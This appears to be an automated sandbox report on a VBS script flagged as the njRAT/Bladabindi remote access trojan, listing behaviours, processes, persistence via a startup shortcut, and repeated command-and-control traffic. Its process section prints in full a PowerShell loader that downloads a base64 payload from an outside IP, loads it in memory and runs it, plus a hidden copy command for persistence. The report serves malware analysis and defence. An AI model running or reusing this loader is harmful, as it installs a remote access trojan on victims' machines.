Analysis Overview
SHA256
b5732644184a1479c4fb17380de98dfa1ffe6135914aecdf960e34b96fd076bb
Threat Level: Known bad
The file RATNJNEW.vbs was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
Blocklisted process makes network request
Checks computer location settings
Drops startup file
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-09-26 22:08
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-09-26 22:08
Reported
2022-09-26 22:19
Platform
win7-20220812-en
Max time kernel
412s
Max time network
415s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1192 wrote to memory of 964 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1192 wrote to memory of 964 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1192 wrote to memory of 964 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RATNJNEW.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1f6af02f9651-8cc9-7024-3ac8-2284e82a=nekot&aidem=tla?txt.saCtarJN02%4602%esabF2%4602%esab/o/moc.topsppa.ooomiisiisipaug/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
Network
| Country | Destination | Domain | Proto |
| US | 20.7.14.99:80 | 20.7.14.99 | tcp |
Files
memory/1192-54-0x000007FEFC391000-0x000007FEFC393000-memory.dmp
memory/964-55-0x0000000000000000-mapping.dmp
memory/964-57-0x000007FEF49D0000-0x000007FEF53F3000-memory.dmp
memory/964-58-0x0000000002774000-0x0000000002777000-memory.dmp
memory/964-59-0x000007FEF3C80000-0x000007FEF47DD000-memory.dmp
memory/964-60-0x000000000277B000-0x000000000279A000-memory.dmp
memory/964-61-0x0000000002774000-0x0000000002777000-memory.dmp
memory/964-62-0x000000000277B000-0x000000000279A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-09-26 22:08
Reported
2022-09-26 22:19
Platform
win10v2004-20220812-en
Max time kernel
600s
Max time network
600s
Command Line
Signatures
njRAT/Bladabindi
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1388 set thread context of 3140 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RATNJNEW.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1f6af02f9651-8cc9-7024-3ac8-2284e82a=nekot&aidem=tla?txt.saCtarJN02%4602%esabF2%4602%esab/o/moc.topsppa.ooomiisiisipaug/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Network
| Country | Destination | Domain | Proto |
| US | 20.7.14.99:80 | 20.7.14.99 | tcp |
| US | 93.184.220.29:80 | tcp | |
| US | 8.8.8.8:53 | firebasestorage.googleapis.com | udp |
| NL | 216.58.208.106:443 | firebasestorage.googleapis.com | tcp |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 52.168.112.66:443 | tcp | |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 8.252.51.254:80 | tcp | |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| NL | 104.80.225.205:443 | tcp | |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| US | 8.8.8.8:53 | venomsi.mypsx.net | udp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | venomsi.mypsx.net | tcp |
| MX | 201.121.92.174:81 | tcp |
Files
memory/1388-132-0x0000000000000000-mapping.dmp
memory/1388-133-0x000001C6D9D30000-0x000001C6D9D52000-memory.dmp
memory/1388-134-0x00007FFF7B8F0000-0x00007FFF7C3B1000-memory.dmp
memory/4200-135-0x0000000000000000-mapping.dmp
memory/4200-136-0x00007FFF7B8F0000-0x00007FFF7C3B1000-memory.dmp
memory/4200-137-0x00007FFF7B8F0000-0x00007FFF7C3B1000-memory.dmp
memory/3140-138-0x0000000000400000-0x000000000040C000-memory.dmp
memory/3140-139-0x000000000040677E-mapping.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 6cf293cb4d80be23433eecf74ddb5503 |
| SHA1 | 24fe4752df102c2ef492954d6b046cb5512ad408 |
| SHA256 | b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8 |
| SHA512 | 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | eedeb218af57d184b7a06908d84e1f4f |
| SHA1 | da8c874abd286ac085f7105d3d9da30336b09509 |
| SHA256 | f514ecbc9a8915c19aab328ecb319f730ddaf6d6d35cbf7b67bcdd00a4a75d80 |
| SHA512 | 3be9e8b318be85f46692414419847147d9be948e0178962e95ce32899c52a6f26ec94e464a69770bc7a212681f24657222eae14646e484b2d0423076784ec29c |
memory/1388-142-0x00007FFF7B8F0000-0x00007FFF7C3B1000-memory.dmp
memory/3140-143-0x0000000005120000-0x00000000051BC000-memory.dmp
memory/3140-144-0x00000000057F0000-0x0000000005D94000-memory.dmp
memory/3140-145-0x0000000005390000-0x0000000005422000-memory.dmp
memory/3140-146-0x0000000005370000-0x000000000537A000-memory.dmp